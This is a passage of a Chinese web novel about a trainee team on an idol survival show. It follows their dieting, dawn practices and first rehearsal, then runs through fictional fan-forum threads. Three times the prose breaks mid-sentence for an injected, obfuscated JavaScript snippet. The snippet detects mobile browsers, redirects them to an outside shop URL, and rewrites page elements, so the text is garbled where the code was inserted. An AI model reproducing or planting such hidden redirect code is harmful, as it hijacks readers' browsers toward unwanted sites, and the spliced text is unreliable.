一切看起来和昨天没有区别。 但到了晚餐时间,事情开始变得不一样了。 李瑞端着餐盘回来的时候,车明杰第一个注意到了不对。 “你吃的什么?” 李瑞的餐盘里,红烧肉不见了,取而代之的是一份鸡胸肉沙拉,酱汁分装,一看就是减脂窗口出品。 “……”李瑞面无表情地把餐盘放到桌上,“我在践行队长的建议。” 车明杰嘴角抽了抽,还没来得及说什么,沈言和楚沛也回来了。 沈言的餐盘里是水煮鱼片和青菜,米饭只打了一点点。 楚沛的沙拉比中午那份朴素了至少两个档次,酱汁几乎看不见。 车明杰:“……” 不是怎么回事?怎么所有人突然一下都开始减肥了? 车明杰低头看了看自己餐盘里照旧的红烧肉盖饭,忽然觉得有点烫手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172941|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 许安霖是最后一个回来的。 他的餐盘和中午没什么区别。 两个素菜,一点点米饭。 但仔细看会发现,米饭比中午更少了,素菜也换成了热量更低的种类。 至于从安那更不用说。 车明杰和从安吃了两天饭,就没见过从安吃过正常人类该吃的东西。 他时常怀疑从安其实不是人,是兔子。 并且他有证据。 五个人,五份减脂餐。 只有车明杰,格格不入。 车明杰盯着自己的红烧肉,沉默了三秒。 然后他站起来。 “干嘛去?”李瑞问。 “换菜。”车明杰头也不回。 等他再回来的时候,餐盘里的红烧肉已经换成了烤鸡胸和糙米饭。 奶茶也不见了,取而代之的是一瓶矿泉水。 李瑞看着他,嘴角忍不住往上翘。 “你笑什么?”车明杰坐下,语气恶狠狠的,表情也是故作的狰狞。 李瑞举手求饶,右手在嘴上划过,比了个拉拉链的动作,不说话了。 许安霖低着头,但嘴角好像也有一个小小的弧度。 从安什么也没说,他只是继续吃自己那份毫无灵魂的晚餐,只是在目光扫过大家的餐盘时,嘴角不由自主地勾了勾。 * 第二天,从安照例五点半出现在练习室。 现在从安的体重已经降到了一个他比较理想的程度,虽然还不到他心中最好的状态,但之前每天早上的锻炼现在可以省下来,用这些时间做加训。 所以现在每天早上起来之后,从安都是直奔练习室练习。 把买好的早餐放在墙边——六份三明治,六瓶牛奶,和昨天一样。 然后从安打开平板,播放音乐,开始热身。 五点五十五分,练习室的门被推开了。 李瑞和许安霖一前一后走了进来。 两人一脸困倦,看到从安,脸上扯出了一抹疲惫的笑容。 连续两天的早起,实在是给他们的身心都造成了不小的伤害。 而许安霖脸上甚至还有粉底的痕迹,说明他起的还要更早一些。。 “早。”从安点头。 “早。”两人回应。 李瑞和许安霖抓紧时间热身,从安做最后的准备。 没有抱什么期望,但是六点的时候,练习室外突然传来了脚步声。 从安抬起头。 车明杰站在门口。 他穿着训练服,头发有点乱,脸上带着没睡醒的困倦,但眼睛里没有那种被迫的的不耐烦。 他看了看从安,又看了看墙边的早餐,嘴唇动了动,最后只憋出一个字: “……早。” 然后他走进来,把包放到角落,开始热身。 从安看着他,没有说话,但浑身的动作都轻快了起来。 门又响了。 沈言和楚沛一起冲进来,停在门口不停喘气,明显一路跑过来,现在还累着。 看到练习室的人都来齐了,只差他们两个,两个人连连道歉:“不好意思来晚了,实在是起不来。” 哭丧着脸,痛苦极了。 从安看了眼墙上的时钟。 现在六点过去不过三分钟,两人完全可以看做没有迟到。 从安笑了起来,双眼弯弯,很是高兴:“没有晚,还没开始,正在热身。” 56.彩排 节目组的工作人员们最近总觉得哪里不太对。 起初只是零星的发现——早上六点经过练习室走廊时,里面居然传出了音乐声。几个工作人员对视一眼,以为是自己听错了。这个点,练习生们不都应该在睡觉吗? 但第二天、第三天,音乐声依然准时响起。 然后是食堂。 负责打饭的阿姨们发现,这几天来窗口打减脂餐的练习生肉眼可见地变多了。 以前一天也就零星几个人,现在一到饭点,窗口前排起的长队能把旁边红烧肉窗口的客流都抢走。 “你们这是集体减肥?”阿姨笑着问一个扎着发带的练习生。 对方苦着脸点头:“卷起来了,不减肥不行。” 阿姨没听懂“卷”是什么意思,但她看得懂那些盘子:鸡胸肉、西兰花、糙米饭,一模一样的三件套,吃得一个个面如菜色,但第二天又准时出现在队伍里。 再然后是晚上的宿舍。 往常总是能在宿舍里打打闹闹到后半夜的练习生们,现在早早的就熄灯睡觉,丝毫没有了年轻人的‘活力’。 不对劲。 这很不对劲。 录制了这么多季选秀节目,好些工作人员都是老手。 他们见过努力的练习生——哪一季没有几个拼命三郎? 但他们从没见过这么大规模的、近乎传染式的努力。 好像一夜之间,所有人都被按下了什么开关。 负责巡查的工作人员最早发现端倪。 他每天早上六点打卡上班,连着三天在走廊遇见从安组的人。 一个,三个,然后是—— “六个人都齐了?”他透过门上的玻璃,探头朝练习室看。 里面六名练习生,正在镜子前练习。 早上六点在练习室集体练习,这可真是前所未见。 而后,就像传染一样,早起练习的人越来越多了。 直到所有人,都早早的出现在练习室。 简直是神了。 起的比工作人员还早! 与此同时,食堂里减脂餐的窗口前排起的长队也越来越壮观,晚上练习室熄灭的灯光越来越晚。 工作人员们终于明白了。 这一切,起始于从安组。 他们早睡早起,第一个到练习室。 他们每天吃减脂餐,为了上镜效果。 他们用最笨也最有效的方式,一点一点地磨着那个叫《坠落》的舞台。 然后安文乐组感受到了压力——他们和从安组同在一个练习室,每天看着对方练,怎么可能无动于衷? 两组的较劲很快波及到其他练习生。 走廊里流传着《坠落》组有多卷的传闻,食堂里大家看着别人吃减脂餐,自己碗里的红烧肉突然就不香了。 于是,像多米诺骨牌一样,一间接一间的练习室亮起了早灯,一张接一张的餐盘换成了鸡胸肉。 “这届练习生……”工作人员们互相讨论时,语气里带着感慨,“不一般啊。” * 一周的时间,就这样在汗水与鸡胸肉中流过。 彩排日到了。 下午两点,所有练习生在大练习室集合。 今天没有直播,没有观众,只有节目组的工作人员和拍摄用的摄像机。 但所有人都知道,今天的彩排,是对过去一周努力的一次检验。 十六支队伍,按歌曲顺序轮流上场。 工作人员们三三两两聚在监视器后面,一边调试设备,一边低声交谈。 “你觉得哪组会最好?”灯光师碰了碰旁边的摄像。 摄像正调试着镜头参数,闻言头也不抬:“都不好吧。第一次彩排,能在舞台上完整地把表演顺下来就不错了。记错动作、忘词、找不到镜头……这都正常。毕竟是练习生,才练了一周,别抱太大期望。” “话是这么说……”灯光师咂咂嘴,“但我听说师启那组练得挺狠的。他以前在国外不是差点出道吗?水平应该可以吧。” “师启啊……”摄像师想了想,“确实,他那组配置也不错。不过《机械心跳》那个舞不好跳,卡点太密了。” “柯子晋呢?”旁边的收音师插话,“光芒娱乐的,大公司出来的,肯定不差吧。” “《燎原》那个强度,一周能跳下来就不错了。”摄像师终于调试完镜头,直起腰来,“不过我听说他们组每天练到很晚,应该有戏。” “没人说从安吗?”角落里一直没说话的道具师突然开口。 几双眼睛同时看向他。 “从安?”灯光师挑眉,“你说那个去年没成团的?” “嗯。”道具师点头,“他们组真的很拼。我听说他们每天第一个来,最后一个走。而且你们没发现吗?最近食堂减脂餐窗口排长队,就是从他们组带起来的。” 摄像师沉吟了一下:“从安的实力……我知道,主题曲C位嘛。但去年没成团这事儿,怎么说呢……” “你是说他实力不行?”道具师追问。 “不是不行。”摄像师摆摆手,“但如果他实力真的够硬,去年也不至于出不了道吧?成团夜那会儿我也在,他们那个团……”他顿了顿,没把后半句说出来。 “那是去年的事了。”道具师有些不以为然,“今年他进步了不行吗?你看他那脸,刚来的时候什么样,现在什么样?能把自己减成那样的人,我不信他进步不了。” “有道理。”收音师附和,“而且他们组那个F班的C位,叫什么来着,许安霖?听说他之前跳舞跟木棍似的,现在好像也能看了。” “你们说得我都想看了。”灯光师搓搓手,“赶紧开始吧。” 正说着,导演的声音从对讲机里传来:“各组就位!彩排五分钟后开始!第一组,《破晓之前》!” * 彩排进行了一天。 从下午一点,持续到晚上八点。 每一首歌曲的两支队伍一起来彩排,就这样一组接一组,每一组都在镜头前跳了一遍接一遍。 工作人员们从一开始的漫不经心,到后来一个个盯着监视器移不开眼。 《破晓之前》组,查舟带队。 混血的长相在舞台灯光下格外耀眼,动作干净利落,高音稳稳托住。 虽然有几个走位稍显生疏,但整体流畅度远超预期。 灯光倒吸一口凉气:“这叫‘第一次彩排’?” 《机械心跳》组,师启带队。 科技感的编舞被他们跳出了未来战士的感觉,卡点精准得像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176402|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是用尺子量过。 队形变换时,七个人像一组精密的齿轮,咬合得严丝合缝。 摄像盯着监视器,没想到他也有看走眼的一天。 《燎原》组,柯子晋带队。 高燃炸裂的电子舞曲,七个人跳出了千军万马的气势。动作整齐度惊人,连抬手的角度都几乎一样。最后ending pose时,柯子晋的眼神锐利得能穿透屏幕。 灯光拍着摄像的肩,喃喃自语:“这……这是练习了一周?” 不知是在问自己,还是在问摄像。 《逆流》组、《野火》组、《糖衣炮弹》组…… 一组接一组上场,一组接一组交出了远超预期的答卷。 直到最后一组—— 《坠落》。 舞台灯光暗下,音乐从低沉的贝斯线开始,像夜色里弥漫的雾气。 六个人影在舞台上散开。 从安站在最中央的后面,李瑞在左前,车明杰在右前,沈言和楚沛在两翼,许安霖在最前方,最中心的位置。 音乐渐强。 他们开始动了。 不是那种炸裂的刀群舞,而是一种更微妙的东西。 身体的律动像潮水,一波一波地蔓延。 眼神的交错像拉扯,欲拒还迎。 每一个转身、每一次停顿,都带着一种说不清道不明的张力。 监视器前的工作人员们不自觉地屏住了呼吸。 许安霖转身。 那个一周前还僵硬得像木棍的动作,此刻流畅得像水。 他转过来时,视线落在空中某个点,然后身体才跟过去,形成一种微妙的、被什么力量牵引着的感觉。 他的眼神里有一种东西——脆弱,空茫,像在坠落中放弃了挣扎,又像在坠落中抓住了什么。 然后是车明杰的Dance Break。 他滑步上前,身体像被什么力量击中般wave,然后骤然停顿。 手腕的角度,重心的转移,眼神与镜头的拉扯——每一处都充满细节。 副歌高潮时,六个人汇聚到舞台中央。 许安霖在最前面,从安在他身后半步,其他人如潮水般环绕。 他们一起做了一个缓慢的下沉动作,像是被什么力量拖曳着,一寸一寸地坠落。 监视器前,有人忍不住闭上了眼睛。 音乐结束,灯光骤暗。 三秒后,工作人员们才反应过来—— 结束了。 而这,还只是练习七天之后的第一次彩排而已。 “好,非常好!”秀导语气激动,他的声音通过麦克风,传遍整个演播厅。 他快步走上舞台,和从安等人说刚才彩排过程中还需要改进的地方。 “你觉得哪组最好?”灯光师又凑到了摄像师身边。 “你还来问我?”摄像瞥了一眼灯光师,“你自己有答案了吧。” 灯光师耸耸肩,没说话。 摄像师低头看着镜头里的人影,心里不断闪过每一组彩排的画面。 今天彩排的舞台每一个都很好,比往些年的好了太多,但这些好,却让人忍不住遗憾。 因为有一组,好的格外突出。 但赢家,只能有一个。 57.(论坛体)练习中 【某人真的有点自以为是了吧】 —— 【主楼】 又是说感想,又是提前离开,又是早起,又是减肥…… 不是我说,一个队长而已,就可以这样子嚯嚯自己的队友吗? 也亏得其他人性格好,没和某人计较 我光是看着就绷不住了 1楼 你在说谁啊 2楼 楼主你居然敢说这个人,不怕粉丝打过来? 3楼 楼主勇[赞] 4楼 粉丝打过来我先跑 5楼 好像知道是谁了?但是他做这些也是为了团队好吧 又不是在折腾他们 都是为了舞台做的努力啊 这不是很好吗? 6楼 回复5楼 努力当然是好的,但他们这已经不止努力了吧,感觉都在折磨人了 7楼 回复6楼 但是想赢的话肯定要更努力啊,我看节目可不想看一群人在舞台上随便跳跳就出道了 从安这样至少态度拿出来了 要想表现好,就得有这样的付出才行 …… 49楼 好搞笑啊,前一天说第二天六点练习,第二天早上居然只有两个人来了(自己说要六点来的从安不算哈) 这算什么?算队友受不了压迫的反抗? 哎呀,可惜声音太小了点,听不清,不然就知道他们昨天晚上是怎么吵的了 有没有大佬会读唇语的?跪求 50楼 回复49楼 组里有大佬提取了音频,还怪炸裂的 …… 73楼 这个楼居然说的是从安组吗?我感觉他们组挺好的啊 第三天不就全都早起练习了吗 …… 【这还是第一次这么实时看练习生的练习】 —— 【主楼】 感觉真的看到了很多和节目不一样的东西 往些年看节目,也就只能看见每组剪出来的十几分钟,还绝大部分都是捧皇族,有大剧本 今年这个直播,可以全程看到他们 点进直播间,就可以看见他们的练习室 这样一天天看下来,真的和看节目好不一样 就拿最基础的分part来说 节目里几分钟就放完了,再有波折也不会超过十分钟 但是直播里面,一个分part,真的能僵持好久 就算听不清声音,光是看他们的表情,我都已经提前尴尬了 每个人都有自己想表演的部分,谁都不愿意退让,就在那里梗着,真的是笑死我了 还有练习也是,感觉又枯燥又刺激的 一支舞蹈翻来覆去的跳,跳了一遍又一遍,真的是没什么耐心看 但是仔细去看啊,发现好戏真的一点也不少 这群人的心眼真的太多了,谁敢看导师夸了一个人之后,其他人的表情? 哇塞那个嫉妒那个在意,还要装作一点都不在乎在那里恭喜,我看他们牙都咬碎了 集体练习的时候更是,害怕自己跳得不好,但更害怕别人跳得好 ……这么有趣的练习过程,我为什么今年才看到? 1楼 楼主总结的好好 我今天下午看了两小时的直播,也差不多是同样的感觉 因为我也是练舞的,所以看他们练习的时候,我还能看出点别的东西 我就不说是哪一组的谁和谁了,我就记得我看直播的时候,有个人有个动作一直做不好,去问他们组跳舞好的那个人 哎呦我的天,被问的那个人当时表情就僵了 然后就教嘛,但是教的啥玩意儿啊,我都不想多说,总之教的很差 但以那个人的舞蹈水平,这样的动作他绝不该是这样的程度 我看完真的是笑了 表面上你好我好是兄弟,但练习的时候连这样一个动作都不愿意教 生怕对方表现的更好 真的太搞笑了,这群人的心思 2楼 啊?这个练习发生了这么多事情吗?我怎么什么都没看出来? 我每次点进去,他们不是在练习就是在练习,看得我好累 搞得我这几天都没怎么看直播 3楼 回复2楼 这些都要看他们的表情 都在装,但有些人装得很一般,能看出不少东西 我这几天的快乐源泉,都全靠这些直播了 白天有空的时候就看两眼,晚上回家了再刷刷切片 别提多有趣了 只可惜吃饭的时候练习室没人,不然看他们的直播下饭是再好不过的了 4楼 这些人这么敝帚自珍的吗?连动作都不愿意教给队友?但他们不是一个队伍还要上台表演的吗? 要是舞台上发挥不好,他们这组不就输了吗?也就没有加票了 5楼 回复4楼 说是一个队伍,说是有加票,但淘汰的时候,还是看单人票数啊 团队赢了能加多少票? 但如果自己表现得好,能获得的投票可是一点都不少 6楼 唉,也很容易理解吧 别说这种决定能不能出道的选秀节目了,就连我高三的时候,我去问别的同学题目,他们也不是很乐意跟我讲 有竞争的地方,肯定就有打压吧 对手少一个,自己的机会就更大一点 7楼 看选秀看的不就是这种吗 尤其是现在选秀越办越多,大家也越来越知道选秀的套路了 还有多少人是真的为了所谓的舞台所谓的梦想?不都是为了出道为了火吗? 他们在节目上说说得了,姐妹们可别真信啊 千万不要为了这群男人真情实感 看看热闹就得了 8楼 唉,唉 虽然知道大家参加节目肯定都有自己的心思 但是真看到他们在节目里这么勾心斗角,还是很难过吧 我以为他们有真心有爱,但他们告诉我全是逢场作戏 9楼 推荐姐妹们去看组里总结的黑料表去认清一下这群人 本季一百名选手,如今已有五十二名光荣上榜!成功过半!让我们鼓掌 10楼 也不需要这样一杆子打死所有人吧 有的人藏着掖着自私,也有人很热情带着大家一起练习啊 人和人的性格不一样,想的不一样,做的事情当然也不一样 有的人是为了火来的,也有人是真的为了梦想来的 11楼 这个直播还是太权威了 …… 【数据丨塌房进度条(持更)】 —— 【主楼】 [在线文档] 目前爆出来有实锤的料我都填在表里面了,大家可以实时查看 有漏掉的可以私信我 没有实锤的我都没有填进去,等实锤出来了我会及时更新的 目前进度条已过半,很期待最后进度条会走到哪里 1楼 DD 2楼 哇塞,大工程啊,感谢楼主 3楼 不是,现在一公都还没开始,进度条就已经过半了吗?流程会不会走得太快了点? 4楼 回复3楼 好些人在名单刚出来的时候就已经被扒过了 只能说一点都不奇怪吧 男人的基本盘 5楼 已收藏 6楼 我刷的一下就点进来了 7楼 可以说吗,每年最期待的就是这个环节 至今还记得前年第六季节目最后的表格……简直无人幸免 8楼 所以说还是女宝好啊 宝宝们都乖乖的,哪里有那么多垃圾事 看了这份进度表,谁还敢给男人花钱? 这样的表多来点,让我们热闹热闹,花钱就大可以免了 9楼 看了下表,现在这些都是小喽啰啊 上位圈的都还干净得很 这个扒的力度不行啊 得那些上位圈的有料扒出来才是真的热闹 10楼 回复9楼 上位圈的不好扒吧 除了粉丝多的会藏,现在上位圈声量最大的从安,他要是真有料,肯定早就出来了,还轮得到现在吗?毕竟是养成系呢,过去五六年,那么多人虎视眈眈盯着他,真要做了什么,不可能没人发现 余修文的话跟从安差不多啊,童星,从小就在镜头前长大,真要有什么事,还等得到现在? 至于光芒娱乐那三个……光芒娱乐送他们三个来,肯定早就把这些东西都打点好了,开了那么久的公司,往娱乐圈送了那么多人,他们肯定不会留下把柄 查舟也差不多吧,星耀娱乐也不是好惹的,真要是有什么料爆出来,肯定立马就压下去了 这么多人里面,感觉也就师启能被扒出什么的可能性大一点 本来好好的在国外当练习生都准备出道了,结果突然回国,怎么想都有问题吧 然后他现在还没有公司,是个人练习生,真要是扒出了点什么,也没人帮他压下去,肯定就能爆出来了。 不过他一直在国外,要扒起来可能难度会大一点 不过我相信大家的实力!师启如果有瓜,肯定能扒出来! 我等大家! 12楼 现在这个表出来,第一轮淘汰的名单也就差不多了吧 13楼 哎呦这个表怎么这么搞笑 幼儿园的时候揪女同学辫子被全校通报……幼儿园的事情也能被扒出来吗?会不会太强了一点 随地吐痰……有点太恶心了,属实是一点素质都没有了,不过这也能被发现真的是厉害 在宿舍里裸奔……不是居然能知道的这么详细吗?是不是室友爆的料啊? 脚踏四条船……新时代时间管理大师吗? 数了一下,有嫂子的高达三十二个,其中二十八个都在节目前分手……这种为了节目分手的根本就不算人了吧?怎么又想恋爱又想立单身人设啊 居然还有欠钱不还的,这已经是法制问题了吧? 现在练习生的素质都已经这样了吗? 我们真的要在这群人里面选九个出道啊? 选九个法制咖出来去坐牢是不是更简单一点? …… 【安利丨请问有文化有素质有梦想有努力的练习生还有吗?】 —— 【主楼】 有的姐妹,有的 新时代五好青年——从安!闪亮登场! ①文化 都说高三是一个人一生之中文化的巅峰时刻,那从安现在无疑就是整个节目最有文化的练习生之一! 刚刚结束高考的他,拥有着这一生中最渊博的知识。 上能解一元二次方程,下能背滕王阁序。 这样脑子里全是知识的练习生,你爱了吗? ②素质 从小在镜头前长大的从安,严格遵守养成系练习生准则,长达百条的行为规范,是养成系二十余年的赫赫勋章,也是养成系练习生刻在骨子里的烙印! 如果你不相信从安,请相信养成系的规范;如果你不相信青少年,请相信养成系粉丝的督促;如果你不相信男人,请相信从小被无数双眼睛无孔不入盯着长大的从安! 这不是在以私生的疯狂为荣,而是被私生蹲守着长大的悲哀。 没有人会比从安更懂得隔墙有耳,更明白一举一动都被注视的滋味。 ③梦想 永远有人在失败,但不是所有人都拥有从头再来的勇气! 当从安还是一个十岁的孩子时,他被星探发掘,尚不懂得什么是练习生,什么是偶像的他,就这样懵懵懂懂地成为了明辉娱乐无数被挑选的孩子之一。 经过两年的练习与选拔,从安成功留下,成为了明辉娱乐五代练习生之一。 从此,他的生活天翻地覆。 没有了单纯快乐的校园生活,失去了独自行走在阳光下的能力,他开始白天上学,晚上练习,周末拍摄的生活。 或许有人会说,长大之后成为明星,收获那么多钱和那么多爱,这样的付出和努力和失去自由又算得了什么呢? 但十岁孩子的世界很小,小到只有学校小卖部的一根棒棒糖,小到只有回家的一集动画片,小到只有周末在公园和朋友堆沙子的快乐……他不懂什么是明星,什么是偶像,他只知道有一群女孩儿成为了他的粉丝,喜欢他,支持他,鼓励他,只知道要站上舞台,给这些女孩儿带来最好的表演。 这样的生活他过了五年。 从懵懂到坚定,从稚嫩到青春,他发生了很多变化,但一直不变的,是那份留在舞台上的决心。 正是这份决心,让他拥有了从头再来的勇气。 背靠明辉娱乐,他本可以成为一名solo艺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195799|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,成为无数人口中‘明辉娱乐线面繁殖的艺人’一员,成为各大综艺里刷脸的资源咖,不用太累,不用付出,轻轻松松的在娱乐圈当一名糊咖,赚取比普通工作更多的工资。 但是他选择了一条从未有过的更难的路。 他舍不得舞台,舍不得支持他鼓励他的那些女孩儿们,他要站在舞台上,他要成为能够带给所有人力量的偶像。 这样的勇气算是梦想吗?如果算,那从安无疑是一个有梦想的人。 ④努力 成功从不是一蹴而就,更需要一步一步的脚踏实地。 努力是凌晨五点的阳光,是餐盘里永远不变的减脂餐,是镜子前始终不曾停下的脚步…… 从安不会在镜头前说自己的努力,但结果会告诉我们答案。 初舞台C班和主题曲第一,是努力的汗水浇灌出的甜美果实,是每分每秒的付出带来的必然结果。 这样的努力,相信大家都能看到。 这样的五好青年从安,走过路过可千万不要错过啊!!! 1楼 这么长的安利帖,辛苦楼主了 2楼 DD 3楼 楼主的标题起得好笋哈哈哈哈哈哈 4楼 呜呜呜呜楼主写的好好 看哭了 我们从安真的是一个很好很好的小孩 5楼 之前不关注养成系,还是看了节目之后才知道这季有养成系练习生 怎么说呢,和我想象的真的完全不一样 有礼貌又懂事,真的很乖 而且初舞台的时候还胖胖的,主题曲的时候真的瘦了很多 我看到粉丝做的图片,从初舞台当天开始,每天都在比前一天更瘦,我还刷到有站姐说,从安每天很早就起了,凌晨五点的时候,都能看见他在园区里跑步 高考的时候没办法控制饮食管理身材,但是一上节目,短短三天时间,就马上瘦下来,这份毅力一般人真的没有吧 还有实力也是,主题曲真的跳得太好了,完全超出我的预料 现在一公练习,他们组真的算是最努力练习的了吧 这么好的小孩儿,我觉得他肯定能出道的 或者说如果这样的小孩都不能出道,还有什么样的人能够出道? 6楼 回复5楼 啊啊啊啊啊谢谢姐妹的夸奖 但是所有练习生大家都很棒,没有谁是一定能出道的 所有都是看节目里的表现 虽然我们从安的粉丝觉得从安很棒,但是每个人的审美不同,喜欢的东西也不一样,我们给从安投票,其他人有更喜欢的练习生,就会给别人投票 所以从安到底能不能出道……从安在节目里努力,我们粉丝在节目外努力,只要我们做到了自己能做到的最好,无论结果如何,我们都能接受! 7楼 看到标题就在想是不是从安的安利帖,点进来一看果然是 就是说有文化有素质有梦想有努力,这不是做人的基本要求吗?怎么放到这季节目里,看到这几个词就只能想到从安了呢? 是不是有哪里不对 8楼 回复7楼 上一季节目甚至一个同时满足这四个词的人都没有 笑死 9楼 回复8楼 啊啊啊啊啊啊啊不要说这么可怕的事情 10楼 从安真的是刷新了我对养成系的认知 这么好的小孩居然没出道?不是你们养成系什么时候这么卷了? 11楼 回复10楼 去年的从安和今年的从安还是有点不一样吧 也不是说去年的从安不好,只是说去年的从安,比起和他竞争的其他人,确实好得不突出 但是这也是养成系的魅力所在 我们看着他一点点成长,一点点变得更好 无论是挫折还是成功,都是他人生路上的阶梯 踏上这个阶梯,迎来的就是全新的风景 而现在从安出现在这里,成为节目的一员,成为一名选秀节目中争取出道位的练习生,也是他人生新的篇章 但过去的一切经历,都会成为他最坚实的养料,让他能够在节目里一步一步扎实地走下去 12楼 回复11楼 姐妹你说的真的有点感人了 我想哭 没追过养成系,但看你的文字,真的有好多爱,就真的跟养自己的孩子一样了吧 …… 31楼 楼主字字没提别人,但又字字在提别人 极尽拉踩 每一段出来,我脑子里都出现好多个人名…… 星光熠熠,你欠我的拿什么还?我当你的观众,你就是用这群烂人来回报我的? …… 48楼 等一下,我在举报楼里看到了这个帖子,说是人身攻击? 谁家被戳到肺管子了? 49楼 回复48楼 ???这都能举报? 50楼 啊啊啊啊啊啊啊居然真的被挂到举报楼了 我不行了吧 某些人的心眼子就是那么小 51楼 不是,从安就是又有文化又有素质又有梦想又努力啊 楼主说的完全没问题啊 某些人就这么看不得实话吗? 还是你担好巧不巧一个都没有呢? 所以看到别人有,就这么着急忙慌的举报了 …… 72楼 本来这只是一条平平无奇的安利贴 但举报楼的评论,让这个帖子拥有了新的意义 73楼 所以从安真的是很多人眼里的眼中钉吧 这就破防了 74楼 这个安利贴写得很好啊,有什么可举报的 75楼 看了这么久的节目,从安真做的真的很好了吧 虽然第一次露面的时候颜值确实一般,但很快就追回来了,然后我就没在镜头前看过他丑的时候 能给朕花这么多心思,完全没有话讲啊 而且从安的实力也是绝对的第一梯队 长得又帅又有实力还肯为了粉丝花心思 这是有人着急了吧 生怕从安接着火下去 要我说与其担心别人更火 还是更担心担心你家,别一个不小心就塌了 现在名单上安全的人的可不多了额 ……